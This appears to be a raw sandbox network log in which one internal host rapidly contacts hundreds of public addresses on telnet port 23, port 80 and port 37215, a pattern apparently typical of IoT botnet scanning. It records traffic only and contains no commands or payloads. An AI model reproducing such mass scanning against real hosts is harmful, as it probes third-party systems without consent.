Dec 3, 2024 23:16:49.564692974 CET	80	42188	138.192.209.119	192.168.2.23
Dec 3, 2024 23:16:49.564743042 CET	42188	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.564764023 CET	42188	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.565083981 CET	80	48708	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.565398932 CET	80	48750	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.565438032 CET	48750	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.565455914 CET	48750	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.565931082 CET	80	32982	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.566179037 CET	80	33024	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.566224098 CET	33024	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.566253901 CET	33024	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.566401005 CET	80	35066	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.566735983 CET	80	35108	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.566776037 CET	35108	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.566798925 CET	35108	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.567123890 CET	80	56466	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.567517996 CET	80	56508	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.567553043 CET	56508	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.567572117 CET	56508	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.567879915 CET	80	53118	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.568036079 CET	80	53160	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.568073034 CET	53160	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.568097115 CET	53160	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.568522930 CET	80	50600	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.569084883 CET	80	50642	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.569137096 CET	50642	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.569163084 CET	50642	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.569215059 CET	80	48300	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.569386005 CET	80	48342	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.569423914 CET	48342	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.569436073 CET	48342	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.569742918 CET	80	52612	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.569916964 CET	80	52654	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.570000887 CET	52654	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.570012093 CET	52654	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.570297003 CET	80	45074	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.570681095 CET	80	45116	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.570719957 CET	45116	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.570739031 CET	45116	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.570811033 CET	23	52552	130.155.72.191	192.168.2.23
Dec 3, 2024 23:16:49.570857048 CET	52552	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:49.570949078 CET	80	60176	193.206.198.78	192.168.2.23
Dec 3, 2024 23:16:49.571228027 CET	54072	23	192.168.2.23	68.165.229.172
Dec 3, 2024 23:16:49.571635008 CET	80	44382	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:49.571765900 CET	36586	23	192.168.2.23	46.118.209.58
Dec 3, 2024 23:16:49.572280884 CET	44574	23	192.168.2.23	218.106.164.220
Dec 3, 2024 23:16:49.572784901 CET	56458	23	192.168.2.23	53.214.98.76
Dec 3, 2024 23:16:49.573359966 CET	32800	23	192.168.2.23	9.114.8.209
Dec 3, 2024 23:16:49.575212955 CET	55460	23	192.168.2.23	23.191.150.65
Dec 3, 2024 23:16:49.575215101 CET	37590	23	192.168.2.23	205.114.36.151
Dec 3, 2024 23:16:49.575215101 CET	59616	23	192.168.2.23	189.231.50.87
Dec 3, 2024 23:16:49.575215101 CET	35058	23	192.168.2.23	64.16.22.181
Dec 3, 2024 23:16:49.575223923 CET	52624	23	192.168.2.23	4.181.235.234
Dec 3, 2024 23:16:49.575223923 CET	55016	23	192.168.2.23	206.181.41.37
Dec 3, 2024 23:16:49.575232983 CET	51244	23	192.168.2.23	77.112.247.243
Dec 3, 2024 23:16:49.575233936 CET	57358	23	192.168.2.23	65.86.58.226
Dec 3, 2024 23:16:49.575234890 CET	35562	23	192.168.2.23	113.40.76.240
Dec 3, 2024 23:16:49.575234890 CET	57162	23	192.168.2.23	131.79.78.52
Dec 3, 2024 23:16:49.575242043 CET	37112	23	192.168.2.23	14.3.188.11
Dec 3, 2024 23:16:49.575243950 CET	59588	23	192.168.2.23	20.206.54.166
Dec 3, 2024 23:16:49.575243950 CET	52686	23	192.168.2.23	212.140.111.119
Dec 3, 2024 23:16:49.575243950 CET	49316	23	192.168.2.23	53.69.255.214
Dec 3, 2024 23:16:49.575243950 CET	46370	23	192.168.2.23	178.31.253.80
Dec 3, 2024 23:16:49.575249910 CET	45468	23	192.168.2.23	183.133.122.5
Dec 3, 2024 23:16:49.575249910 CET	53484	23	192.168.2.23	199.216.131.248
Dec 3, 2024 23:16:49.575251102 CET	59158	23	192.168.2.23	129.96.32.114
Dec 3, 2024 23:16:49.575253010 CET	59664	23	192.168.2.23	163.81.23.79
Dec 3, 2024 23:16:49.575261116 CET	56204	23	192.168.2.23	4.185.189.239
Dec 3, 2024 23:16:49.575261116 CET	54410	23	192.168.2.23	193.234.170.22
Dec 3, 2024 23:16:49.575261116 CET	42898	23	192.168.2.23	93.130.183.12
Dec 3, 2024 23:16:49.575268030 CET	36508	23	192.168.2.23	25.98.126.63
Dec 3, 2024 23:16:49.575273991 CET	52532	23	192.168.2.23	191.103.34.9
Dec 3, 2024 23:16:49.587670088 CET	46368	23	192.168.2.23	151.7.132.213
Dec 3, 2024 23:16:49.588346004 CET	53424	23	192.168.2.23	118.159.70.78
Dec 3, 2024 23:16:49.603132963 CET	23	43928	166.127.178.91	192.168.2.23
Dec 3, 2024 23:16:49.603142023 CET	23	55374	31.226.180.43	192.168.2.23
Dec 3, 2024 23:16:49.603173018 CET	23	45524	104.133.85.82	192.168.2.23
Dec 3, 2024 23:16:49.603188038 CET	43928	23	192.168.2.23	166.127.178.91
Dec 3, 2024 23:16:49.603189945 CET	55374	23	192.168.2.23	31.226.180.43
Dec 3, 2024 23:16:49.603214979 CET	45524	23	192.168.2.23	104.133.85.82
Dec 3, 2024 23:16:49.603857994 CET	80	35992	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.607919931 CET	80	56466	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.607928991 CET	80	42146	138.192.209.119	192.168.2.23
Dec 3, 2024 23:16:49.607949018 CET	80	35066	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.607956886 CET	80	32982	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.608016968 CET	80	48708	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.611880064 CET	80	53118	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.611897945 CET	80	48300	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.611912966 CET	80	50600	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.611983061 CET	80	44382	135.89.3.44	192.168.2.23
Dec 3, 2024 23:16:49.611993074 CET	80	60176	193.206.198.78	192.168.2.23
Dec 3, 2024 23:16:49.612000942 CET	80	45074	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.612080097 CET	80	52612	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.667037964 CET	23	53316	198.189.113.143	192.168.2.23
Dec 3, 2024 23:16:49.667047024 CET	23	47608	161.152.46.196	192.168.2.23
Dec 3, 2024 23:16:49.667057037 CET	23	58322	158.85.95.150	192.168.2.23
Dec 3, 2024 23:16:49.667088032 CET	23	57634	40.109.90.228	192.168.2.23
Dec 3, 2024 23:16:49.667129040 CET	23	54388	82.205.195.109	192.168.2.23
Dec 3, 2024 23:16:49.667129993 CET	53316	23	192.168.2.23	198.189.113.143
Dec 3, 2024 23:16:49.667129993 CET	47608	23	192.168.2.23	161.152.46.196
Dec 3, 2024 23:16:49.667129993 CET	58322	23	192.168.2.23	158.85.95.150
Dec 3, 2024 23:16:49.667134047 CET	57634	23	192.168.2.23	40.109.90.228
Dec 3, 2024 23:16:49.667184114 CET	54388	23	192.168.2.23	82.205.195.109
Dec 3, 2024 23:16:49.687861919 CET	80	36034	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.688179970 CET	80	36034	176.69.242.94	192.168.2.23
Dec 3, 2024 23:16:49.688224077 CET	36034	80	192.168.2.23	176.69.242.94
Dec 3, 2024 23:16:49.688638926 CET	80	42188	138.192.209.119	192.168.2.23
Dec 3, 2024 23:16:49.688805103 CET	42188	80	192.168.2.23	138.192.209.119
Dec 3, 2024 23:16:49.689548969 CET	80	48750	117.110.109.99	192.168.2.23
Dec 3, 2024 23:16:49.689590931 CET	48750	80	192.168.2.23	117.110.109.99
Dec 3, 2024 23:16:49.690834999 CET	80	33024	74.123.234.35	192.168.2.23
Dec 3, 2024 23:16:49.690907001 CET	33024	80	192.168.2.23	74.123.234.35
Dec 3, 2024 23:16:49.691662073 CET	80	35108	145.33.190.157	192.168.2.23
Dec 3, 2024 23:16:49.691701889 CET	35108	80	192.168.2.23	145.33.190.157
Dec 3, 2024 23:16:49.691844940 CET	80	56508	32.125.248.35	192.168.2.23
Dec 3, 2024 23:16:49.691884041 CET	56508	80	192.168.2.23	32.125.248.35
Dec 3, 2024 23:16:49.692390919 CET	80	53160	95.58.153.193	192.168.2.23
Dec 3, 2024 23:16:49.692433119 CET	53160	80	192.168.2.23	95.58.153.193
Dec 3, 2024 23:16:49.693434000 CET	80	50642	90.249.44.175	192.168.2.23
Dec 3, 2024 23:16:49.693475962 CET	50642	80	192.168.2.23	90.249.44.175
Dec 3, 2024 23:16:49.693624973 CET	80	48342	49.209.5.244	192.168.2.23
Dec 3, 2024 23:16:49.693665028 CET	48342	80	192.168.2.23	49.209.5.244
Dec 3, 2024 23:16:49.694192886 CET	80	52654	217.189.104.34	192.168.2.23
Dec 3, 2024 23:16:49.694231987 CET	52654	80	192.168.2.23	217.189.104.34
Dec 3, 2024 23:16:49.694871902 CET	80	45116	217.19.114.229	192.168.2.23
Dec 3, 2024 23:16:49.694930077 CET	45116	80	192.168.2.23	217.19.114.229
Dec 3, 2024 23:16:49.694962978 CET	23	54072	68.165.229.172	192.168.2.23
Dec 3, 2024 23:16:49.695003986 CET	54072	23	192.168.2.23	68.165.229.172
Dec 3, 2024 23:16:49.695514917 CET	23	36586	46.118.209.58	192.168.2.23
Dec 3, 2024 23:16:49.695555925 CET	36586	23	192.168.2.23	46.118.209.58
Dec 3, 2024 23:16:49.695923090 CET	23	44574	218.106.164.220	192.168.2.23
Dec 3, 2024 23:16:49.695961952 CET	44574	23	192.168.2.23	218.106.164.220
Dec 3, 2024 23:16:49.696691036 CET	23	56458	53.214.98.76	192.168.2.23
Dec 3, 2024 23:16:49.696732044 CET	56458	23	192.168.2.23	53.214.98.76
Dec 3, 2024 23:16:49.710253000 CET	40597	37215	192.168.2.23	41.5.104.100
Dec 3, 2024 23:16:49.710258961 CET	40597	37215	192.168.2.23	156.87.239.158
Dec 3, 2024 23:16:49.710258961 CET	40597	37215	192.168.2.23	41.131.210.92
Dec 3, 2024 23:16:49.710262060 CET	40597	37215	192.168.2.23	156.251.110.116
Dec 3, 2024 23:16:49.710273981 CET	40597	37215	192.168.2.23	41.47.204.108
Dec 3, 2024 23:16:49.710278034 CET	40597	37215	192.168.2.23	197.99.145.0
Dec 3, 2024 23:16:49.710290909 CET	40597	37215	192.168.2.23	41.49.33.245
Dec 3, 2024 23:16:49.710298061 CET	40597	37215	192.168.2.23	41.126.145.123
Dec 3, 2024 23:16:49.710305929 CET	40597	37215	192.168.2.23	156.151.72.168
Dec 3, 2024 23:16:49.710306883 CET	40597	37215	192.168.2.23	197.117.181.6
Dec 3, 2024 23:16:49.710318089 CET	40597	37215	192.168.2.23	156.133.165.115
Dec 3, 2024 23:16:49.710328102 CET	40597	37215	192.168.2.23	156.248.1.33
Dec 3, 2024 23:16:49.710340023 CET	40597	37215	192.168.2.23	156.31.177.8
Dec 3, 2024 23:16:49.710344076 CET	40597	37215	192.168.2.23	156.2.160.37
Dec 3, 2024 23:16:49.710349083 CET	40597	37215	192.168.2.23	156.143.46.229
Dec 3, 2024 23:16:49.710349083 CET	40597	37215	192.168.2.23	41.30.146.182
Dec 3, 2024 23:16:49.710371017 CET	40597	37215	192.168.2.23	156.110.132.89
Dec 3, 2024 23:16:49.710371017 CET	40597	37215	192.168.2.23	156.78.90.194
Dec 3, 2024 23:16:49.710371017 CET	40597	37215	192.168.2.23	41.230.143.83
Dec 3, 2024 23:16:49.710383892 CET	40597	37215	192.168.2.23	156.180.240.140
Dec 3, 2024 23:16:49.710391045 CET	40597	37215	192.168.2.23	156.98.111.116
Dec 3, 2024 23:16:49.710405111 CET	40597	37215	192.168.2.23	197.112.42.162
Dec 3, 2024 23:16:49.710407019 CET	40597	37215	192.168.2.23	197.242.152.31
Dec 3, 2024 23:16:49.710416079 CET	40597	37215	192.168.2.23	197.51.73.232
Dec 3, 2024 23:16:49.710422039 CET	40597	37215	192.168.2.23	197.95.77.109
Dec 3, 2024 23:16:49.710434914 CET	40597	37215	192.168.2.23	197.135.179.83
Dec 3, 2024 23:16:49.710438967 CET	40597	37215	192.168.2.23	156.145.106.225
Dec 3, 2024 23:16:49.710442066 CET	40597	37215	192.168.2.23	41.234.201.17
Dec 3, 2024 23:16:49.710443020 CET	40597	37215	192.168.2.23	156.90.67.82
Dec 3, 2024 23:16:49.710445881 CET	40597	37215	192.168.2.23	197.90.232.40
Dec 3, 2024 23:16:49.710459948 CET	40597	37215	192.168.2.23	41.91.166.191
Dec 3, 2024 23:16:49.710464001 CET	40597	37215	192.168.2.23	156.56.7.206
Dec 3, 2024 23:16:49.710479975 CET	40597	37215	192.168.2.23	41.147.75.89
Dec 3, 2024 23:16:49.710479975 CET	40597	37215	192.168.2.23	41.8.117.154
Dec 3, 2024 23:16:49.710479975 CET	40597	37215	192.168.2.23	197.18.17.121
Dec 3, 2024 23:16:49.710484982 CET	40597	37215	192.168.2.23	197.62.134.30
Dec 3, 2024 23:16:49.710488081 CET	40597	37215	192.168.2.23	197.207.169.59
Dec 3, 2024 23:16:49.710494995 CET	40597	37215	192.168.2.23	156.168.215.186
Dec 3, 2024 23:16:49.710510969 CET	40597	37215	192.168.2.23	197.203.168.26
Dec 3, 2024 23:16:49.710511923 CET	40597	37215	192.168.2.23	41.128.77.145
Dec 3, 2024 23:16:49.710513115 CET	40597	37215	192.168.2.23	197.104.64.239
Dec 3, 2024 23:16:49.710513115 CET	40597	37215	192.168.2.23	197.139.53.69
Dec 3, 2024 23:16:49.710520029 CET	40597	37215	192.168.2.23	197.242.33.162
Dec 3, 2024 23:16:49.710535049 CET	40597	37215	192.168.2.23	197.36.142.160
Dec 3, 2024 23:16:49.710536957 CET	40597	37215	192.168.2.23	156.47.49.127
Dec 3, 2024 23:16:49.710544109 CET	40597	37215	192.168.2.23	197.225.54.34
Dec 3, 2024 23:16:49.710547924 CET	40597	37215	192.168.2.23	197.165.155.39
Dec 3, 2024 23:16:49.710565090 CET	40597	37215	192.168.2.23	41.109.44.201
Dec 3, 2024 23:16:49.710566044 CET	40597	37215	192.168.2.23	41.147.12.212
Dec 3, 2024 23:16:49.710568905 CET	40597	37215	192.168.2.23	197.132.189.202
Dec 3, 2024 23:16:49.710568905 CET	40597	37215	192.168.2.23	41.67.55.206
Dec 3, 2024 23:16:49.710568905 CET	40597	37215	192.168.2.23	197.73.248.122
Dec 3, 2024 23:16:49.710571051 CET	40597	37215	192.168.2.23	156.154.231.165
Dec 3, 2024 23:16:49.710575104 CET	40597	37215	192.168.2.23	156.118.17.35
Dec 3, 2024 23:16:49.710577965 CET	40597	37215	192.168.2.23	197.179.210.223
Dec 3, 2024 23:16:49.710582972 CET	40597	37215	192.168.2.23	156.205.240.181
Dec 3, 2024 23:16:49.710596085 CET	40597	37215	192.168.2.23	156.104.46.164
Dec 3, 2024 23:16:49.710599899 CET	40597	37215	192.168.2.23	41.9.74.213
Dec 3, 2024 23:16:49.710602999 CET	40597	37215	192.168.2.23	197.206.246.203
Dec 3, 2024 23:16:49.710622072 CET	40597	37215	192.168.2.23	156.124.6.223
Dec 3, 2024 23:16:49.710623026 CET	40597	37215	192.168.2.23	156.158.53.226
Dec 3, 2024 23:16:49.710629940 CET	40597	37215	192.168.2.23	197.16.118.32
Dec 3, 2024 23:16:49.710633039 CET	40597	37215	192.168.2.23	197.29.42.25
Dec 3, 2024 23:16:49.710648060 CET	40597	37215	192.168.2.23	41.38.198.203
Dec 3, 2024 23:16:49.710649967 CET	40597	37215	192.168.2.23	41.46.196.41
Dec 3, 2024 23:16:49.710650921 CET	40597	37215	192.168.2.23	197.201.110.162
Dec 3, 2024 23:16:49.710650921 CET	40597	37215	192.168.2.23	41.25.73.161
Dec 3, 2024 23:16:49.710654020 CET	40597	37215	192.168.2.23	41.105.11.51
Dec 3, 2024 23:16:49.710654020 CET	40597	37215	192.168.2.23	41.4.161.210
Dec 3, 2024 23:16:49.710674047 CET	40597	37215	192.168.2.23	156.213.73.36
Dec 3, 2024 23:16:49.710675955 CET	40597	37215	192.168.2.23	197.193.122.35
Dec 3, 2024 23:16:49.710684061 CET	40597	37215	192.168.2.23	197.98.184.121
Dec 3, 2024 23:16:49.710690022 CET	40597	37215	192.168.2.23	156.131.7.165
Dec 3, 2024 23:16:49.710701942 CET	40597	37215	192.168.2.23	156.249.182.38
Dec 3, 2024 23:16:49.710714102 CET	40597	37215	192.168.2.23	197.72.143.197
Dec 3, 2024 23:16:49.710714102 CET	40597	37215	192.168.2.23	197.197.217.215
Dec 3, 2024 23:16:49.710724115 CET	40597	37215	192.168.2.23	41.110.232.177
Dec 3, 2024 23:16:49.710727930 CET	40597	37215	192.168.2.23	41.208.78.171
Dec 3, 2024 23:16:49.710736990 CET	40597	37215	192.168.2.23	156.3.108.79
Dec 3, 2024 23:16:49.710743904 CET	40597	37215	192.168.2.23	197.154.51.24
Dec 3, 2024 23:16:49.710745096 CET	40597	37215	192.168.2.23	41.107.50.168
Dec 3, 2024 23:16:49.710760117 CET	40597	37215	192.168.2.23	41.124.18.31
Dec 3, 2024 23:16:49.710762978 CET	40597	37215	192.168.2.23	197.177.239.214
Dec 3, 2024 23:16:49.710767031 CET	40597	37215	192.168.2.23	197.245.221.23
Dec 3, 2024 23:16:49.710771084 CET	40597	37215	192.168.2.23	41.57.91.165
Dec 3, 2024 23:16:49.710787058 CET	40597	37215	192.168.2.23	156.86.117.233
Dec 3, 2024 23:16:49.710793018 CET	40597	37215	192.168.2.23	41.217.207.5
Dec 3, 2024 23:16:49.710803032 CET	40597	37215	192.168.2.23	41.79.21.65
Dec 3, 2024 23:16:49.710803986 CET	40597	37215	192.168.2.23	41.67.188.248
Dec 3, 2024 23:16:49.710808039 CET	40597	37215	192.168.2.23	156.70.129.18
Dec 3, 2024 23:16:49.710808992 CET	40597	37215	192.168.2.23	156.174.5.36
Dec 3, 2024 23:16:49.710817099 CET	40597	37215	192.168.2.23	156.89.63.145
Dec 3, 2024 23:16:49.710828066 CET	40597	37215	192.168.2.23	41.144.107.202
Dec 3, 2024 23:16:49.710828066 CET	40597	37215	192.168.2.23	197.64.253.36
Dec 3, 2024 23:16:49.710836887 CET	40597	37215	192.168.2.23	156.46.124.244
Dec 3, 2024 23:16:49.710850954 CET	40597	37215	192.168.2.23	197.173.211.95
Dec 3, 2024 23:16:49.710854053 CET	40597	37215	192.168.2.23	197.130.109.52
Dec 3, 2024 23:16:49.710854053 CET	40597	37215	192.168.2.23	156.244.35.204
Dec 3, 2024 23:16:49.710854053 CET	40597	37215	192.168.2.23	156.33.195.122
Dec 3, 2024 23:16:49.710860014 CET	40597	37215	192.168.2.23	197.111.171.73
Dec 3, 2024 23:16:49.710860968 CET	40597	37215	192.168.2.23	156.157.181.225
Dec 3, 2024 23:16:49.710860968 CET	40597	37215	192.168.2.23	156.132.35.186
Dec 3, 2024 23:16:49.710860968 CET	40597	37215	192.168.2.23	156.210.45.130
Dec 3, 2024 23:16:49.710865974 CET	40597	37215	192.168.2.23	197.133.169.176
Dec 3, 2024 23:16:49.710880995 CET	40597	37215	192.168.2.23	197.116.249.92
Dec 3, 2024 23:16:49.710885048 CET	40597	37215	192.168.2.23	156.61.87.170
Dec 3, 2024 23:16:49.710886955 CET	40597	37215	192.168.2.23	197.108.188.226
Dec 3, 2024 23:16:49.710891962 CET	40597	37215	192.168.2.23	197.46.88.121
Dec 3, 2024 23:16:49.710895061 CET	40597	37215	192.168.2.23	197.144.1.140
Dec 3, 2024 23:16:49.710911036 CET	40597	37215	192.168.2.23	197.91.240.98
Dec 3, 2024 23:16:49.710911036 CET	40597	37215	192.168.2.23	156.165.165.6
Dec 3, 2024 23:16:49.710918903 CET	40597	37215	192.168.2.23	197.230.102.16
Dec 3, 2024 23:16:49.710918903 CET	40597	37215	192.168.2.23	197.136.22.54
Dec 3, 2024 23:16:49.710932016 CET	40597	37215	192.168.2.23	156.105.11.184
Dec 3, 2024 23:16:49.710937977 CET	40597	37215	192.168.2.23	41.149.10.177
Dec 3, 2024 23:16:49.710948944 CET	40597	37215	192.168.2.23	156.209.43.190
Dec 3, 2024 23:16:49.710953951 CET	40597	37215	192.168.2.23	156.221.145.84
Dec 3, 2024 23:16:49.710959911 CET	40597	37215	192.168.2.23	197.111.75.173
Dec 3, 2024 23:16:49.710963964 CET	40597	37215	192.168.2.23	197.48.40.80
Dec 3, 2024 23:16:49.710964918 CET	40597	37215	192.168.2.23	197.113.180.229
Dec 3, 2024 23:16:49.710966110 CET	40597	37215	192.168.2.23	197.59.123.164
Dec 3, 2024 23:16:49.710968971 CET	40597	37215	192.168.2.23	41.42.56.135
Dec 3, 2024 23:16:49.710985899 CET	40597	37215	192.168.2.23	197.161.176.116
Dec 3, 2024 23:16:49.710992098 CET	40597	37215	192.168.2.23	41.137.151.255
Dec 3, 2024 23:16:49.710992098 CET	40597	37215	192.168.2.23	197.14.174.213
Dec 3, 2024 23:16:49.710993052 CET	40597	37215	192.168.2.23	41.154.186.84
Dec 3, 2024 23:16:49.710999012 CET	40597	37215	192.168.2.23	197.237.35.204
Dec 3, 2024 23:16:49.711013079 CET	40597	37215	192.168.2.23	41.144.84.30
Dec 3, 2024 23:16:49.711015940 CET	40597	37215	192.168.2.23	156.243.125.116
Dec 3, 2024 23:16:49.711019039 CET	40597	37215	192.168.2.23	156.186.89.222
Dec 3, 2024 23:16:49.711030006 CET	40597	37215	192.168.2.23	41.212.237.206
Dec 3, 2024 23:16:49.711030960 CET	40597	37215	192.168.2.23	197.193.10.149
Dec 3, 2024 23:16:49.711040020 CET	40597	37215	192.168.2.23	156.158.60.123
Dec 3, 2024 23:16:49.711050034 CET	40597	37215	192.168.2.23	41.251.220.238
Dec 3, 2024 23:16:49.711055040 CET	40597	37215	192.168.2.23	156.252.5.150
Dec 3, 2024 23:16:49.711059093 CET	40597	37215	192.168.2.23	41.62.183.245
Dec 3, 2024 23:16:49.711061001 CET	40597	37215	192.168.2.23	156.175.107.240
Dec 3, 2024 23:16:49.711067915 CET	40597	37215	192.168.2.23	156.240.32.131
Dec 3, 2024 23:16:49.711081982 CET	40597	37215	192.168.2.23	197.87.201.164
Dec 3, 2024 23:16:49.711085081 CET	40597	37215	192.168.2.23	197.84.121.202
Dec 3, 2024 23:16:49.711087942 CET	40597	37215	192.168.2.23	41.182.115.129
Dec 3, 2024 23:16:49.711103916 CET	40597	37215	192.168.2.23	41.235.248.2
Dec 3, 2024 23:16:49.711105108 CET	40597	37215	192.168.2.23	41.98.109.36
Dec 3, 2024 23:16:49.711112976 CET	40597	37215	192.168.2.23	156.235.80.220
Dec 3, 2024 23:16:49.711112976 CET	40597	37215	192.168.2.23	41.221.241.218
Dec 3, 2024 23:16:49.711112976 CET	40597	37215	192.168.2.23	41.234.205.25
Dec 3, 2024 23:16:49.711114883 CET	40597	37215	192.168.2.23	41.216.189.37
Dec 3, 2024 23:16:49.711118937 CET	40597	37215	192.168.2.23	197.8.196.235
Dec 3, 2024 23:16:49.711127043 CET	40597	37215	192.168.2.23	197.251.213.75
Dec 3, 2024 23:16:49.711133957 CET	40597	37215	192.168.2.23	156.67.132.145
Dec 3, 2024 23:16:49.711147070 CET	40597	37215	192.168.2.23	41.133.37.106
Dec 3, 2024 23:16:49.711147070 CET	40597	37215	192.168.2.23	197.150.114.169
Dec 3, 2024 23:16:49.711152077 CET	40597	37215	192.168.2.23	41.172.73.2
Dec 3, 2024 23:16:49.711164951 CET	40597	37215	192.168.2.23	197.242.11.220
Dec 3, 2024 23:16:49.711164951 CET	40597	37215	192.168.2.23	197.44.218.241
Dec 3, 2024 23:16:49.711170912 CET	40597	37215	192.168.2.23	197.182.103.22
Dec 3, 2024 23:16:49.711186886 CET	40597	37215	192.168.2.23	197.46.169.65
Dec 3, 2024 23:16:49.711186886 CET	40597	37215	192.168.2.23	156.70.129.233
Dec 3, 2024 23:16:49.711205006 CET	40597	37215	192.168.2.23	197.210.141.135
Dec 3, 2024 23:16:49.711205006 CET	40597	37215	192.168.2.23	197.234.197.226
Dec 3, 2024 23:16:49.711210012 CET	40597	37215	192.168.2.23	41.122.11.42
Dec 3, 2024 23:16:49.711210966 CET	40597	37215	192.168.2.23	156.126.56.225
Dec 3, 2024 23:16:49.711220980 CET	40597	37215	192.168.2.23	41.72.59.22
Dec 3, 2024 23:16:49.711220980 CET	40597	37215	192.168.2.23	156.227.176.203
Dec 3, 2024 23:16:49.711222887 CET	40597	37215	192.168.2.23	41.31.234.170
Dec 3, 2024 23:16:49.711226940 CET	40597	37215	192.168.2.23	41.132.254.239
Dec 3, 2024 23:16:49.711245060 CET	40597	37215	192.168.2.23	41.37.206.5
Dec 3, 2024 23:16:49.711249113 CET	40597	37215	192.168.2.23	156.192.31.220
Dec 3, 2024 23:16:49.711262941 CET	40597	37215	192.168.2.23	156.131.54.72
Dec 3, 2024 23:16:49.711270094 CET	40597	37215	192.168.2.23	197.167.246.132
Dec 3, 2024 23:16:49.711271048 CET	40597	37215	192.168.2.23	41.199.241.88
Dec 3, 2024 23:16:49.711275101 CET	40597	37215	192.168.2.23	41.110.83.4
Dec 3, 2024 23:16:49.711282015 CET	40597	37215	192.168.2.23	156.234.101.128
Dec 3, 2024 23:16:49.711282015 CET	40597	37215	192.168.2.23	41.168.232.122
Dec 3, 2024 23:16:49.711302042 CET	40597	37215	192.168.2.23	156.223.121.72
Dec 3, 2024 23:16:49.711302996 CET	40597	37215	192.168.2.23	156.186.54.27
Dec 3, 2024 23:16:49.711302996 CET	40597	37215	192.168.2.23	41.22.124.240
Dec 3, 2024 23:16:49.711303949 CET	40597	37215	192.168.2.23	41.81.13.103
Dec 3, 2024 23:16:49.711323977 CET	40597	37215	192.168.2.23	41.145.144.127
Dec 3, 2024 23:16:49.711328983 CET	40597	37215	192.168.2.23	156.221.220.203
Dec 3, 2024 23:16:49.711328983 CET	40597	37215	192.168.2.23	197.237.15.180
Dec 3, 2024 23:16:49.711334944 CET	40597	37215	192.168.2.23	41.213.66.52
Dec 3, 2024 23:16:49.711339951 CET	40597	37215	192.168.2.23	156.93.58.226
Dec 3, 2024 23:16:49.711347103 CET	40597	37215	192.168.2.23	156.113.205.139
Dec 3, 2024 23:16:49.711352110 CET	40597	37215	192.168.2.23	156.116.241.20
Dec 3, 2024 23:16:49.711368084 CET	40597	37215	192.168.2.23	197.163.197.245
Dec 3, 2024 23:16:49.711373091 CET	40597	37215	192.168.2.23	41.36.183.182
Dec 3, 2024 23:16:49.711376905 CET	40597	37215	192.168.2.23	41.96.73.78
Dec 3, 2024 23:16:49.711376905 CET	40597	37215	192.168.2.23	41.65.31.220
Dec 3, 2024 23:16:49.711379051 CET	23	46368	151.7.132.213	192.168.2.23
Dec 3, 2024 23:16:49.711390972 CET	40597	37215	192.168.2.23	197.192.17.133
Dec 3, 2024 23:16:49.711390972 CET	40597	37215	192.168.2.23	197.208.96.43
Dec 3, 2024 23:16:49.711396933 CET	40597	37215	192.168.2.23	41.28.115.127
Dec 3, 2024 23:16:49.711400032 CET	40597	37215	192.168.2.23	156.130.81.220
Dec 3, 2024 23:16:49.711414099 CET	40597	37215	192.168.2.23	156.224.44.51
Dec 3, 2024 23:16:49.711414099 CET	40597	37215	192.168.2.23	197.97.146.120
Dec 3, 2024 23:16:49.711421967 CET	40597	37215	192.168.2.23	156.181.9.24
Dec 3, 2024 23:16:49.711421013 CET	46368	23	192.168.2.23	151.7.132.213
Dec 3, 2024 23:16:49.711421013 CET	40597	37215	192.168.2.23	156.218.242.220
Dec 3, 2024 23:16:49.711427927 CET	40597	37215	192.168.2.23	197.49.51.91
Dec 3, 2024 23:16:49.711443901 CET	40597	37215	192.168.2.23	197.203.224.249
Dec 3, 2024 23:16:49.711445093 CET	40597	37215	192.168.2.23	197.196.202.39
